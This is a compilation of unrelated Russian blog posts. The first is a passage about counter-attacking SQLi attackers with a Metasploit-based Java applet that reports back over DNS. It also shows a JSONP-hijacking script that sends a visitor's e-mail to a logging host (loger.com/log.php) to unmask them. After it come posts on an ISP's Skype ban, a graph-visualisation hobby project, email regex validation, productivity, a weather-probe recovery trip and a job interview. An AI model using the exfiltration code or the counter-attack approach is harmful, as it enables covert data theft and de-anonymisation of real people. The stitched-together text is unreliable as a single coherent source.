EXE файл собирал НЕ ПЕРСОНАЛЬНЫЕ данные (да да, я блюду ФЗ о ПДн...), только следующую инфу: IP локальный, traceroute из сети, имя машины, логин пользователя. Это не много, но в большинстве случаев этого достаточно чтобы обойти TOR/Proxy/VPN и даже узнать фамилию атакующего! Дополнительно, конечно, можно было бы собирать BSSID окружающих точек доступа, например, и делать съемку с веб-камеры ноута, парсить конфиг файлы с винта и тд и тп. Короче суть в том, что установив «агента контр-разведки» на ПК атакующего мы обошли многие преграды, и TOR и Proxy уже не при делах. Очевидная контр-атака. Примечание: мой агент не имел удаленного доступа, хотя технически это можно было закодить, я не хотел бекдорить и распространять вредоносное ПО. Данный агент не был вредоносным, так как собирал сугубо техническую инфу об ПК атакующего и его сетевом окружении. Кстати, все данные передавались реверсивным DNS каналом, что улучшало успешные «отстукивания» с данными — http://www.xakep.ru/post/55661/.

Интересные «атакующие»:

1) Министерство обороны РФ

Одни из первых, попытались применить атаку типа SQLi ребята с ВНЕШНЕГО IP Министерства обороны Российской Федерации. К моему счастью, они либо не повелись на апплет, либо у них был Linux (так как мне впадлу было добавлять кросс-платформенность). Я знаю, что там хорошие ребята и, конечно, ничего плохого они не хотели! Но надеюсь при реальных «разведывательных операциях» они используют хотя бы китайские прокси сервера ;)



2) Антивирусная компания

Этот запуск был сделан с виртуальной машины антивирусной компании. DNS сервер и tracert спалили контору 8) Примечательно что ребята не добавили агента в список вредоносного ПО! Оценили. Спасибо вам ребята!

3) Куча ребят

Просто куча разных ребят, кто-то знал о фиче и просто игрался, кто-то нет (http://habrahabr.ru/post/122107/#comment_4003842)



4) И самое интересное Хост принадлежащий РАЗВЕДКЕ одной из стран СНГ. С «обратным» проникновением.

Поначалу я решил что вот она, кибер война началась! Наш агент в результате контр-атаки оказался запущен на хосте, принадлежащем службе разведки другого гос-ва. Только учетная запись выглядела как сервисная, что наводило на мысль, что хост был скомпрометирован и использовался как посредник. Чуть позже в то же день мы получили инсталл второго «агента» из той же страны, только в этот раз не из сети правительственного учреждения, а с домашнего ПК. Имя пользователя ПК оказалось легко гуглящимся и идентифицировать человека вышло без проблем. При этом, учитывая, эти «совпадения», можно сказать что либо он работает на эту разведку, либо как-то получил доступ к правительственному хосту.



Ранение рикошетом



Окей, мы поняли, что простейший путь раскрытия анонимности — контратака через сплойт-паки или с элементами СИ, но это толсто и очевидно. Но была еще одна идея — сторонние сервисы, такие как веб-почта или, например, социальные сети. Можно сделать атаку более незаметной… что я и сделал 8)



Да, кроме апплета, в случае успешной атаки на меня, я узнавал e-mail атакующего, чтобы точно знать «кто виноват» (ну а что делать и так ясно..). И опять же, анонимность это не TOR/VPN/Proxy chain. Этого не достаточно! И так суть проста, если гражданин использует сервисы типа ВКонтакте, yandex, google, linkedin, twitter, facebook и тд… и при этом он на них постоянно аутентифицирован, то при наличии каких-либо уязвимостей (CSRF/XSS) на этих сервисах позволят раскрыть ВАШУ анонимность. Так получилось, что на сервисах mail.ru и yandex.ru были найдены уязвимости (я о них сообщил давно, и они давно запатчены, тем нем менее я успел испытать ради моего «научного» эксперимента по практической поимке злых парней...). Уязвимость самая банальная (на обоих сервисах): JSONP Hijacking. Суть проста, есть некий сервис:

http://mail-service.com/ajax?callback=func

Который использует cookie аутентификацию, и возвращает что-то типа:

func({"e-mail":"username@mail-service.com"});

Соответственно, для эксплуатации этой бреши и раскрытия анонимности используем код:

<script>
function func(obj)
{
     var url="http://loger.com/log.php?value="+obj["e-mail"];
     $.get(url);
}
</script>
<script src="http://mail-service.com/ajax?callback=func"/>


Так что помните: можете забыть о TOR/VPN, если вы вечно носитесь по соц. сетям, даже не надо иметь PRISM, чтобы проследить кто вы и откуда, достаточно «тупых» CSRF/XSS.

Типичный атакующий:


И еще...


Кстати, как еще пример такого подхода, сеть linkedin, даже не нужна уязвимость, там это реальная фича — лог тех, кто просматривал ваш профайл. То есть если на мою админку повесить тупо редирект на специальный зарегистрированный профайл linkedin:



То в итоге можем прямо в linkedin'е узнавать больше информации об атакующих:



Кстати, можно заметить, что SAMEORIGIN не помогает, так как GET запрос проходит до того, как браузер проверит ORIGIN политику, проверка происходит ПОТОМ ;)

Статистика



В конце немного статистики. Эксперимент длился с Q2 2011 до Q3 2012.

Всего УНИКАЛЬНЫХ атак SQLi — 484 (за ~1.2 года)

Из них успешных контр-атак (Java Applet) — 52 (за ~1.2 года)

Из них успешных контр-атак на mail.ru/yandex.ru — 16 (за 6 месяцев)

~ 17 % успеха при контр-атаках.

График зависимости:



Как видно, в начале был апплет, а «мыло» я добавил значительно позже. Пики по посещаемости связаны с анонсами ZeroNights и встреч Defcon группы. Пробив по почте фактически линейный, тогда как в случае апплетов -зависимость была линейной лишь в начале эксперимента. Это связано с обновлениями Java, антивирусы добавили апплет потом в базу вредоносного ПО (что неудивительно ибо он собран из metasploit пейлода)

P.S. Кстати, если с yandex.ru есть куда сообщать о найденных мной багах, то в случае с mail.ru я не нашел контакты, пока не познакомился с тамошним ИБшником и не слил багу ему лично…

Выводы



Хоть этот блог-пост больше о том как я ловил «плохих» парней, хотя на самом деле это можно экстраполировать на вопросы анонимности в сети Интернет — уж если ИТ/ИБ специалисты и хацкеры палятся, то что говорить о нормальных людях? Вполне очевидно, что TOR/Proxy и VPN не помогают в этом вопросе. Достаточно логина в соц.сети, невнимательности и еще много чего, чтобы однозначно сопоставить посетителя веб-ресурса с реальным человеком. Будьте аккуратнее и JFYI: Как работают настоящие зло-хакИры

Ну и второй вывод, контр-атака на атакующего не такая уж и плохая идея, меньше вы о нем знать не станете, но если «прокнет», то вы получите много интересной инфы. Кстати, в некотором государстве эти штуки уже работают (как мне сообщили). Так что кибер-война это весело!

P.S. Оригинальные материалы, где чуть более детально раскрыты баги:

Слайды с BH EU 2013
Текстик с BH EU 2013

May the Force be with you.
Цитата из договора об оказании услуг связи физическим лицам:

3.4. Абоненту запрещается:

3.4.4. Использовать Услуги для целей передачи голосовой информации по сети передачи данных, в том числе по сети Интернет, то есть Абоненту запрещается использовать такие программы, как Skype и ей подобные, для передачи голосовой информации по сети Интернет.


update: речь идет о домашнем проводном интернете.

update 2, из комментариев:

Всем привет, для тех, с кем незнакомы — Марина Акулич, блог-секретарь МТС.
По ситуации могу сказать следующее (официальный комментарий компании: на данный момент интернет-абонентам МТС НЕ запрещается использовать программы для передачи голосовой информации, такие как Skype и ей подобные. Естественно, установка и использование данных программ НЕ блокируется и услуги предоставляются в полном объеме.

Проблема произошла из-за того, что на сайте была размещена устаревшая версия договора. Этот пункт, в котором говорится о запрете программ для передачи голосовой информации был включен еще компанией «Комстар-Директ», когда у них компании не было лицензии на предоставление услуг связи по передаче голосовой информации в сети передачи данных.
Мы сейчас обновляем все абонентские договоры, и, конечно, данный пункт из новой версии договора будет исключен.
Привет, Хабралюди!

У меня есть хобби. Я ночами (в нерабочее время) пишу библиотеку укладки графов: vivagraph.js. Хотел поделиться с вами, узнать что думаете. Визуализировал я сеть друзей своих на «В Контакте» с использованием WebGL. Но лучше один раз увидеть, чем читать, верно?



Это мои друзья. Каждая точка — человек, целый мир, с которым так или иначе мне повезло встретиться. Линия между точками обозначает дружбу. По этой сети можно, правда, сказать многое о человеке.



Как построить сеть своих друзей?

1. Проверьте что браузер поддерживает WebGL: get.webgl.org — должен быть кубик. Если кубика нет — попробуйте другой браузер. Часто хром/лис блокируют видеокарты с устаревшими драйверами. Увы, кубик — это ключ к успешной визуализации :).

2. Зайти на www.yasiv.com/vk — это визуализация ваших друзей на ВК.

3. (опционально) — поделиться своей картой с друзьями, рассказать о сайте. Я буду очень рад, т.к. в маркетинге, увы, ни бум бум (кто там?).

Почему синие квадраты вместо аватарок?

У WebGL есть очень строгие ограничения на картинки, используемые в текстурах. Если они приходят из другого домена, сервер с картинками должен разрешить их кросс-доменное использование. Исправляется добавлением в заголовок ответа с картинкой Access-Control-Allow-Origin:*, но увы, ВКонтакте этого пока не поддерживает. Если вы, читатель, являетесь сотрудником ВКонтакте, и имеете доступ к коду — добавьте, пожалуйста хедер. Я вам спасибо огромное скажу, и визуализацию подправлю :).

Почему WebGL?

Ни CSS, ни SVG, ни даже простой canvas 2D не сравнятся с производительностью WebGL. vivagraph.js поддерживает SVG и CSS, но в обоих случаях основным тормозом визуализации является браузерный код отрисовки элементов. Лишь с использованием WebGL ботлнек перемещается в мой алгоритм укладки :).

Маленький Мир

Помните историю о шести рукопожатиях? Недавний анализ полной сети Фейсбука вывел число 4.7. Я забавы ради начал достраивать сеть от мало знакомого мне друга в неизвестность и такая картина наблюдалась очень часто:


Что скажете?

Мне очень-очень важны ваши отзывы и предложения. Это всего лишь мое хобби, но я очень люблю его. Понимаю, что все еще сыровато, и на огромных графах (больше 2000 узлов) все работает слишком медленно. Но вместо того, чтобы пытаться сделать все правильно с первого раза, я хотел бы спросить у вас, что бы вы посоветовали сделать лучше? Ну и буду очень рад, если присоединитесь к проекту и поможете сделать его еще лучше :).
Серьезно, прекратите. Это пустая трата времени и сил. Поищите регулярку для проверки Email в Google, взгляните на нее — и захочется отойти подышать свежим воздухом. Вспоминается одна очень известная цитата:

Некоторые люди, сталкиваясь с проблемой, думают: «О, я воспользуюсь регулярными выражениями».
Теперь у них две проблемы.

Джэйми Завински, regex.info

Вот довольно часто встречающийся пример кода из приложения на Rails, содержащий некоторое подобие системы авторизации:

class User < ActiveRecord::Base
  # Эта регулярка взята из проекта from https://github.com/plataformatec/devise,
  # самой популярной библиотеки авторизации для Rails
  validates_format_of :email, :with => /\A[^@]+@([^@\.]+\.)+[^@\.]+\z/
end

Выглядит довольно просто (разве что если вы совсем не знаете регулярных выражений), но бывает и сильно хуже:

class User < ActiveRecord::Base
  validates_format_of :email, :with => /^(|(([A-Za-z0-9]+_+)|([A-Za-z0-9]+\-+)|([A-Za-z0-9]+\.+)|([A-Za-z0-9]+\++))*[A-Za-z0-9]+@((\w+\-+)|(\w+\.))*\w{1,63}\.[a-zA-Z]{2,6})$/i
end

Или совсем плохо:

class User < ActiveRecord::Base
  validates :email, :with => EmailAddressValidator
end

class EmailValidator < ActiveModel::Validator
  EMAIL_ADDRESS_QTEXT           = Regexp.new '[^\\x0d\\x22\\x5c\\x80-\\xff]', nil, 'n'
  EMAIL_ADDRESS_DTEXT           = Regexp.new '[^\\x0d\\x5b-\\x5d\\x80-\\xff]', nil, 'n'
  EMAIL_ADDRESS_ATOM            = Regexp.new '[^\\x00-\\x20\\x22\\x28\\x29\\x2c\\x2e\\x3a-\\x3c\\x3e\\x40\\x5b-\\x5d\\x7f-\\xff]+', nil, 'n'
  EMAIL_ADDRESS_QUOTED_PAIR     = Regexp.new '\\x5c[\\x00-\\x7f]', nil, 'n'
  EMAIL_ADDRESS_DOMAIN_LITERAL  = Regexp.new "\\x5b(?:#{EMAIL_ADDRESS_DTEXT}|#{EMAIL_ADDRESS_QUOTED_PAIR})*\\x5d", nil, 'n'
  EMAIL_ADDRESS_QUOTED_STRING   = Regexp.new "\\x22(?:#{EMAIL_ADDRESS_QTEXT}|#{EMAIL_ADDRESS_QUOTED_PAIR})*\\x22", nil, 'n'
  EMAIL_ADDRESS_DOMAIN_REF      = EMAIL_ADDRESS_ATOM
  EMAIL_ADDRESS_SUB_DOMAIN      = "(?:#{EMAIL_ADDRESS_DOMAIN_REF}|#{EMAIL_ADDRESS_DOMAIN_LITERAL})"
  EMAIL_ADDRESS_WORD            = "(?:#{EMAIL_ADDRESS_ATOM}|#{EMAIL_ADDRESS_QUOTED_STRING})"
  EMAIL_ADDRESS_DOMAIN          = "#{EMAIL_ADDRESS_SUB_DOMAIN}(?:\\x2e#{EMAIL_ADDRESS_SUB_DOMAIN})*"
  EMAIL_ADDRESS_LOCAL_PART      = "#{EMAIL_ADDRESS_WORD}(?:\\x2e#{EMAIL_ADDRESS_WORD})*"
  EMAIL_ADDRESS_SPEC            = "#{EMAIL_ADDRESS_LOCAL_PART}\\x40#{EMAIL_ADDRESS_DOMAIN}"
  EMAIL_ADDRESS_PATTERN         = Regexp.new "#{EMAIL_ADDRESS_SPEC}", nil, 'n'
  EMAIL_ADDRESS_EXACT_PATTERN   = Regexp.new "\\A#{EMAIL_ADDRESS_SPEC}\\z", nil, 'n'

  def validate(record)
    unless record.email =~ EMAIL_ADDRESS_EXACT_PATTERN
      record.errors[:email] << 'is invalid'
    end
  end
end

Ага. Неужели действительно нужно использовать нечто настолько сложное? Если перейти по ссылке в начале статьи, вы увидите, что люди уже многие годы пишут (или пытаются написать) регулярки для проверки email-адреса, которые бы соответствовали описанию RFC. Некоторые из них оказываются просто до смешного заумными, как в последнем примере, и все равно не пропускают некоторые корректные адреса.

О том, какой email-адрес является корректным, написано в разделах 3.2.4 и 3.4.1. Там сказано, что при наличии обратного слэша и кавычек остается не так уж много вещей, которые нельзя использовать в адресе. Локальная часть адреса (та строка, что идет перед символом @), может содержать следующие символы:

! $ & * - = ^ ` | ~ # % ' + / ? _ { }

Но знаете что? Вы можете использовать практически любой символ, какой вам заблагорассудится, если заэкранируете его кавычками. Например, вот это — вполне корректный адрес:

"Look at all these spaces!"@ example.com

Прекрасно!

По этой причине, с недавнего времени я проверяю все email-адреса следующим регулярным выражением:

class User < ActiveRecord::Base
  validates_format_of :email, :with => /@/
end

Элементарно, не правда ли? В адресе должен присутствовать символ @. Как правило, этим я и ограничиваюсь. Вкупе с полем для повторного ввода адреса два этих способа позволяют отсеять львиную долю ошибок, связанных со вводом некорректных данных.

Но что, если бы я предложил вам способ проверить email на валидность, в котором вообще не используются регулярные выражения? Он неожиданно прост, и, скорее всего, вы и так его применяете.

Просто пошлите пользователю его письмо!

Нет, я не шучу. Просто пошлите пользователю письмо. Практика посылки письма с кодом активации используется уже не один год, но практически всегда она дополняется сложной проверкой адреса. Если вы все равно собираетесь отправить на этот адрес письмо, зачем возиться с огромными регулярными выражениями?

Представьте себе такой сценарий. Я регистрируюсь на вашем сайте под следующим адресом:

qwiufaisjdbvaadsjghb@gmail.com

Да ладно вам! С этой хренью ни один почтовый демон работать не станет, но форматирование в полном порядке: это же валидный email-адрес! Для решения данной проблемы вы пишете систему, которая после регистрации отправляет мне email со ссылкой, по которой я должен перейти. Это требуется для того, чтобы удостовериться, что я действительно имею доступ к почтовому ящику, на который регистрируюсь. В таком случае, зачем проверять формат адресов? Результат отправки письма на неправильный адрес будет точно такой же — письмо не примет сервер. Если пользователь ввел некорректный адрес, он не получит письмо и попытается зарегистрироваться на вашем сайте еще раз, если ему это и правда нужно. Вот и все.

Так что не налегайте на замороченные регулярные выражения. Если вы правда хотите проверять адрес прямо на форме регистрации, добавьте поле для повторного ввода. Да, некоторые пользователи просто скопируют строку из первого и вставят во второе, но даже в этом случае незачем раздувать из этого проблему. Сложная валидация регулярными выражениями — это не дополнительное решение, а только лишний геморрой.

Если же вы все равно не можете успокоиться, пока не проверите адрес на корректность, просто проверьте на наличие в нем символа @. А если чувствуете, что способны на большее — добавьте проверку на точку:

/.+@.+\..+/i

Все, что сверх этого — стрельба из пушки по воробьям.

Примечание переводчика:
Ссылку на эту статью нашел в комментарии к другому переводу. Спасибо jetman!
Низкий поклон Хабранароду!

Предисловие

Много мы все начитались и даже дочитались статьей о том, как улучшить работоспособность, эффективность и другую, простите — фигню.

Пост НЕ для тех у кого все хорошо, по крайней мере, кажется что все хорошо, е.г. праведным – не читать.
Пост можно было бы назвать еще и «реальные рекомендации по «возьми себя в руки, наконец» ».
Не верьте тем, кто пишет об эффективности, «самое время начать учиться играть на гитаре», «найдите в себе энергию делать то, другое...», это все «фигня», через пару дней все опять будет как прежде. Постарайтесь найти решение сами.
«Пункты» приведены случайным порядком, и хватит введения, просто прочтите пост, попытайтесь найти что-то себе полезное (вы обязательно найдете).

Добавить в избранное


Все мы любим читать, это так, поскольку без чтения, без учебы нам не найти хорошую работу, и не только, мы же ИТ-специалисты (программисты, тестеры, администраторы, стартаперы(?), ...), мы всегда развиваемся, мы копаем глубже, мы на дороге становления хакерами, мы и есть хакеры, просто об этом никто еще не знает (примечание: хакер используется не в смысле взломщика). Были времена, когда мы читали тонны технической литературы, нам был интересен ассемблер, нам нравилось оптимизировать код на полную катушку, мы любили доказывать теоремы, задавать себе вопросы «как это работает» и т.д. Хабр стал еще одним местом обитания. Теперь, если необходимо научиться, скажем, алгоритмам, кроме того, что мы берем/качаем толстые книги, мы еще и сохраняем (читай — букмарким) статьи из блога «Алгоритмы» в Хабре. Если вы работаете в «обычной» программисткой конторе, вы тратите от 8 часов в день на работу, стараясь как можно больше уделять время только работе, и дойдя до дома, открывая Хабр, видите много сочных и интересных статьей. По статистике (я не собирал никакую статистику, просто так лучше звучит) 80% действий по чтению статьей заканчивается кнопкой «Добавить в избранное». «Добавить в избранное» (или букмарк браузера) можно, или даже — нужно, переименовать в «Прочту потом». Вопрос – когда потом? Что значит потом? Потом – завтра, потом – в выходные, потом – во время отпуска, потом – в бункере? Сколько из вас прочитали все посты/статьи/что-то на странице отмеченные избранным? Только не надо возмущенных комментариев, мол – это ты не читаешь, я вот всегда читаю, даже в избранное не надо добавлять. Что-то похожее у вас встречалось или встречается? Совет? Никакого совета нет, это реальность – смиритесь. Но есть лазейка, и вообще, если что-то не получется прямым способом однажды, то не получится никогда, а вот лазейка есть всегда. Найди баг – и взломай проблему. Баг состоит в том, что мы можем просто не добавлять в избранное некоторое время, скажем два-три дня, и если через два-три дня мы забудем о постах/..., то и читать не придется. Если коротко, то – если по-любому читать не будешь, то почему добавлять в избранное? При этом освободится некоторая часть сознания, часть, которая помнит, что там в избранных есть несколько не прочитанных «сообщений».
Примечание: «добавить в избранное» можно использовать не в прямом смысле, то есть купля все новых интересных и полезных книг без чтения предыдущих – тоже есть «добавить в избранное», или все растущее число элементов в таск менеджере без выполнения предыдущих задач – тоже есть «добавить в избранное».

Информации слишком много


Бывала ли у вас потребность в изучении некоторой новой или сравнительно новой для вас сферы, скажем – искусственный интеллект. Допустим, вы решили в плотную заняться ИИ. Что делаем мы и что делает праведный — тот, кто рано или поздно достигнет цели (изучит ИИ в достаточной степени).

Мы
Если хватает денег, идем в книжный магазин и покупаем столько книг, сколько можно будет имея Х количество денег в кармане. Заходим в «интернет» (хотя это выражени уже не актуально, поскольку мы слишком редко вообще выходим из «интернета») и начинаем просматривать трекеры, книжные сайты и т.д., закачиваем огромное количество книг. Книга «долгая», нужно сначала кратко ознакомиться с темой, идем в Википедию или другие специализированные ресурсы (блог ИИ Хабра). Находим много, ну очень много интересных статьей, в Вики вообще случайно нажимаем на категорию «Искусственный интеллект» в нижней части первой попавшей статьи и видим еще больше статьей, о майн гот! Через пару тройку часов или дней на харде накапливается ну просто огромное количество книг и статьей. Задаемся вопросом, может будет лучше начать с каких-нибудь там видеоуроков? Ну как раньше не подумал, в общем начинается поиск соответствующих видеоуроков – на диске уже нет места. И так далее. Проходит день, два, неделя, месяц, мы так и не начинаем изучение, а все свободное время тратим на просматривание «с чего начать»?

Праведный
Заходит на амазон, находит (за несколько минут, не больше) книгу с лучшими рецензиями/рейтингом. Скачивает/покупает. Начинает читать. Только эту книгу. Потом другую, после того как закончил первую. И так далее, проходит день, два, три, неделя, месяц, праведный уже достаточно свободно «щарит» по теме.
Мораль: вы что еще ничего не поняли?

Джаст ду ит!


Хватит планирования, долгих дискусии, перерывов, проверки почты, ответа на смс, выбора идеального трека в плеере для работы, просмотра очередной серии Декстера, Хауса, Большого взрыва или что там еще. Начни работать, просто бери задачу делай, работай не в многозадачном режиме, а выполняй поочередно. Бросай чтение поста, начни прямо сейчас, не отвлекайся, да начни же наконец.

8 часов из жизни


«По стандарту» 8 часов в день мы проводим в офисе, в реальности еще час на обед, час и больше на дорогу в офис и обратно. Спать надо как минимум 6 часов (но хочется больше). В общем, свободного времени практически не бывает. Офисная жизнь, контора берет от нас 8+ часов в день за некоторую плату. Мы продажны, мы продаем себя самих, мы не лучше, чем «девушки по вызову». Ну конечно, вы можете содержать семью, идти на отдых в хорошие места, строить хорошее будущее, подняться по карьерной лестнице. Ну что я вам говорил, пост НЕ для праведных. Мы хотим, нет мы просто обязаны заниматься тем, что любим (ох завидую вам, если проект на котором вы работаете и есть ваше любимое дело). Знаю знаю, деньги-то нужны (мать их). Придумайте что-нибудь, свое дело, любимое дело, способ жизни, а не заработка.

Стартап, я хочу свой стартап


Вы серьезно? Вы что еще не выросли? Неужели вам не стыдно? Если нет, то читайте дальше. У вас есть идея, у всех она есть. Идея подцепить девушку, идея сделать красивый стол, или мы о стартапах говорили? Допустим у вас отличная идея, помните, она у всех отличная. Многие насмехаются, когда вы говорите о заработке на вашей идее, о создании стартапа по вашей идее. Вы их не слушаете. И правильно! Занимайтесь тем, что вам нравится, создайте стартап… и провалитесь! А теперь о том, как создаем стартап мы и как его создают праведные.

Мы
Находим идею, хотим узнать о стартапах немного информации (теория, саксес сторис и т.д.), находим топ 10 книг, которые должен прочитать каждый стартапер (мы случайно себя называем стартаперами, хе-хе). Гай Кавасаки, Стартап, книга просто бомба, читаем на одном дыхании, после прочтения половины вдруг появляется идея записать заметки, начинаем сначала, ищем что бы написать, что нужно знать наизусть. Через пару страниц желание отпадает, продолжаем прочтение книги (мы же остановились на половине). Книга просто супер, я хочу начать писать сайт. Что? Ееще есть книга? Какая? Rework от 37signals? Ок, читаю. Оо майн гот, книга ващее. Неделя за плечами, беремся за архитектуру, да какая там архитектура, сказали же «джаст ду ит»! Ладно, прочтем парочку статьей из Хабра о стартапах, гмм, интерсно, «добавить в избранное» (и тут вы уже поняли «оу шет»). Читаем истории успеха, Google, Amazon, Ebay, Apple, Facebook, Dropbox, … все такие разные и одновременно похожие, и такие захватывающие, «начали как дипломую», «написал первую версию в автобусе», «не имели ни гроша», «отказались продать», «отказались купить»,… Вы твердо решаете не продавать ваш стартап никогда. Ээ, простите, какой стартап? А вспомнили, мы же еще не начали. Так, идем дальше. Если нажать на эту кнопку, откроется страница «О нас», там моя фотография (I’m CEO, bitch!), я даю интервью известным каналам, обо мне пишут в журналах, у меня своя саксес стори… черт, что-то разогнался. Так, нажимаем эту кнопку, открывается....? Проверю-ка почту…
Так, стартап должен не приносить доход, а помогать людям, как моя идея поможет людям? (и тут разные легенды о том, как наш стартап помогает людям, а подсознательно мы знаем, она же просто для славы и заработка денег, опять хе-хе).

Праведный
Стартап Викенд? Это для выпендрежки. Саксес стори? Потом, все уже и так знают как дело происходило с Гугл, Фейсбук,…. Архитектура, никаких «ну ващее» фичей, только то, что необходимо. Проект займет, сейчас посчитаем… около 6 месяцев, запишем значит полтора года. Не теряем мотивацию, не летаем в облаках. Какой еще маркетинг, у меня даже продукта нет, когда будет, тогда и поговрим…
Мораль: что, действительно не поняли?

Социальное медиа


«Рефреш», «рефреш», «рефреш»… Так до бесконечности (пока глаза сами не закроются и надо спать). Как мы проводим наше свободное время, беремся за чтение, пишем код, разрабатываем потихоньку наш проект. Все схвачено, все отлично. В последний раз – пост НЕ для праведных.
Ну открываем Хабр, много интересных статьей, ресурс то и вправду уникальный! Даа, закончились. «Рефреш». Открываем «социальную сеть»(Фейсбук, Вконтакте, Одноклассники(?), ...), сообщения, нотификейшны, лента,… «Рефреш». Да, кому-то нравиться мой «шейр», лайканули. Напишем умный комментарий. «Рефреш». (Хабр открыт в соседней вкладке). Идем в Хабр. «Рефреш». «Вышла новая версия ....». Секунда-две. Читаем комменты. О, кто-то написал шутку, у него +56, напишу-ка и я что-нибудь. «Рефреш». Минус? За что? Есть ответ с сарказмом, война началась. (Спустя 30 минут). Вот кретин. «Рефреш». Идем в соц.сеть. «Рефреш». В Хабр. «Рефреш». Новоиспеченный пост, комментариев нет. Напишу-ка «Спасибо, отличная статья», получу плюсов 5. «Рефреш». И так каждый день…

Послесловие


В общем, буду краток, многим пост не понравится, а может и наоборот. По вашей реакции я пойму, нужно ли продолжать тему.
Было обычное серое утро, начало рабочей недели, вдруг, эфир командного чата сотряс наш именинник Янис, он же jamez:

On 11/1/10, at 12:27 PM, Янчик М. wrote:
> эй пипл, есть тема: http://habrahabr.ru/blogs/DIY/107313/

Расстояние небольшое, на вскидку, километров 200 в одну сторону. Эта затея вызвала большой интерес со стороны участников беседы. И сразу же выявились еще 3 человека, готовых к приключениям: justass, Lifz и popcha, которые и составили jamez'у компанию, позднее подтянулся JohnieWalker который нас штабил.





Сбор назначили на 20:00 (по местному времени, GMT+2). Провели консультации с ребятами, которые были причастны к запуску зонда. Изучили местность, судя по карте это было небольшое лесное озеро недалеко от дороги. Немного огорчил тот факт, что кто-то из местных уже побывал там днем, и ничего не нашел. С другой стороны, это увеличивало наши шансы на успех.

К поездке подготовились основательно, взяв не только самое нужное, но и много всего другого, что нам не пригодилось, полный список инвентаря выглядел так:
  • ноутбук
  • мобильный интернет
  • два фотоаппарата
  • навигационное устройство для треккинга
  • сменная обувь и одежда
  • веревки
  • походные палки
  • мачете
  • метало детектор
  • фонари (Fenix, Olight, SacredFire)
  • много еды
  • и немного удачи

Сборы начались в 20:00, а закончились в 21:30, после чего отправились в путь. Пока настраивали все необходимое на компьютере, на нескольких перекрестках повернули не в ту сторону, на этом потеряли минут 15. Сделали несколько вынужденных остановок — заправились, покурили и перед въездом в Литву изучили карту незнакомой местности, так как интернета по ту сторону границы не было. За передвижением нашего экипажа можно было следить в режиме реального времени, а маршрут нашего путешествия был таким:


Въехав на территорию соседнего государства приятно удивились, неплохие дороги (по крайней мере лучше, чем были на протяжении нашего пути по Латвии), отражатели по обе стороны дороги на протяжении всего пути. И красивый вид светящегося кладбища, в Литве отмечали День всех святых.

Приехав на место оставили авто у трассы нa специальной стоянке. Переоделись, взяли все необходимое и отправились прямо к цели. Поднявшись на холм, увидели вспаханное поле, постарались его обойти стороной. Сразу за полем был тот самый пресловутый лес, в котором, судя по данным ГПС, и был искомый предмет.

Дальше наш путь пролегал по небольшим участкам суши среди лесного озера. Оставалось чуть более 10 метров до цели. Вдали заметили парашют. К нему можно было подобраться только по воде. Глубина была где-то по колено, местами даже по пояс. Двое самых храбрых (на самом деле только у них был полный комплект сменной одежды) отправились к зонду. Зонд был цел и невредим. Погрешность координат была не более 5 метров. Зонду повезло, что он парашютом зацепился за ветки, так бы он упал прямо в воду, что сильно бы затруднило поиски.

Мокрые, но довольные вернулись к машине, переоделись, подкрепились, упаковали весь инвентарь, сделали фотку с зондом в руках, на память, и начали вскрытие объекта. Внутри мы обнаружили: часы, с выставленным временем 30 октябра 10:00, так подозреваем, что это время запуска, старую модель мобильного телефона, выключенный фотоаппарат Canon и GPS устройство, которое работало и мигало зеленым цветом, очевидно, еще работало. Вставили карту памяти из найденного фотоаппарата в наш, чтобы безопасно перекачать фотографии. Фотографий фотоаппарат сделал немного, возможно это вызвано тем, что войдя в верхние слои атмосферы напряжение в аккумуляторах упало и он выключился (при обнаружении фотоаппарата батарея в нем не была полностью разряжена).



Усталые, но довольные отправились домой в Ригу, доехали быстро, дорога заняла чуть более двух часов. Дома были уже после 5 утра. Теперь сонные сидим на работе и пишем вот этот отчет.



Архив фотографий с зонда
Не пали меня в Непале
Примерно неделю назад принимал участие в конкурсе на открытую вакансию Microsoft. И провалился. Прошла неделя, мысли в голове (как же так? не может быть!) немного улеглись и я сделал некоторые выводы из этого опыта, коими и хочу поделиться с хабражителями.

4 года назад, когда я закончил университет, я вообще не знал, кем я хочу быть. Так как в бытность свою студентом, я работал системным администратором, то и принимал участие в основном в конкурсах на подобную должность. Совершенно случайно, по совету знакомого, я попал в довольно крупную новосибирскую компанию на собеседование на должность разработчика C++. На собеседовании мне задавали очень разные вопросы (для чего нужно наследование? знаете ли вы stl?), на 90% которых я не ответил, но хорошо запомнил только один: «как перевернуть строку?». Я подумал, и написал псевдокод на ядерной смеси C++, Pascal и PHP. Мне сказали: «ну нормально… а теперь без буфера хранящего позицию середины строки...» Я ещё подумал-подумал, подумал и сдался. Мне сказали: «Мы вас берём. Выходите на работу в понедельник.»

Как мой будущий тим-лидер смог разглядеть во мне толкового (не скромно, да?) разработчика, для меня загадка до сих пор. Я его позже спрашивал, и он сказал, что другие были просто ещё хуже, да и я был не так уж плох. Сейчас, окажись я на его месте, я бы не взял, наверное, никого.

Компания в которой я работал, мне нравилась. Нам предоставляли время на поднятие собственного профессионального уровня, чтение книжек. Мы (зелень, вчерашние студенты) посещали семинары, где нам рассказывали про паттерны проектирования, объектно-ориентированный дизайн и многое другое. Через пол года, я уже не плохо оперировал языком C++. Кроме того, я осваивал средства отладки, поиска утечек памяти, профайлинг, юнит-тестирование.

Дальше у меня было ещё много мест работы… Текущее моё место работы 5-ое по счёту, включая период фриланса.

И чем больше я разбирался в различных программных системах (от банального web-сайта до CDN, от VoIP гейтвея до CRM системы), тем сильнее я ненавидел людей, которые это писали. Особенно люто я ненавидел выпускников мехмата и бывших олимпиадников. Я не понимал, для чего нужно имплементировать бинарную сортировку самому, не понимал, зачем имплементировать связный список, зачем писать рукосуйный сервис обмена сообщениями по рукосуйному-же протоколу. И мне потом приходилось разбираться с этими самопальными решениями и их поддерживать.

Для того, чтобы не портить себе карму и не вызывать ненависть коллег, я старался решить любую стандартную проблему стандартным способом. Для реализации сохранения данных в СУБД я использовал стандартную ORM (Hibernate, Doctrine) и никогда даже не пытался писать свою. Если нужно было спроектировать новую часть системы, я использовал стандартные и простые паттерны проектирования от классиков. Если нужно было реализовать отправку почты, я использовал стандартные библиотеки для этого (Java Mail API, Zend Framework). Таких стандартных решений я знаю достаточно много (и продолжаю их искать каждый день), для того, чтобы решить практически любую задачу. Я, как хороший повар, который может приготовить большое количество разнообразных блюд, знающий большое количество разнообразных рецептов.

И у меня сложилось впечатление, что хороший программист должен быть именно таким. Применять стандартные решения для стандартных задач. И чем больше таких решений он знает, тем программист лучше.

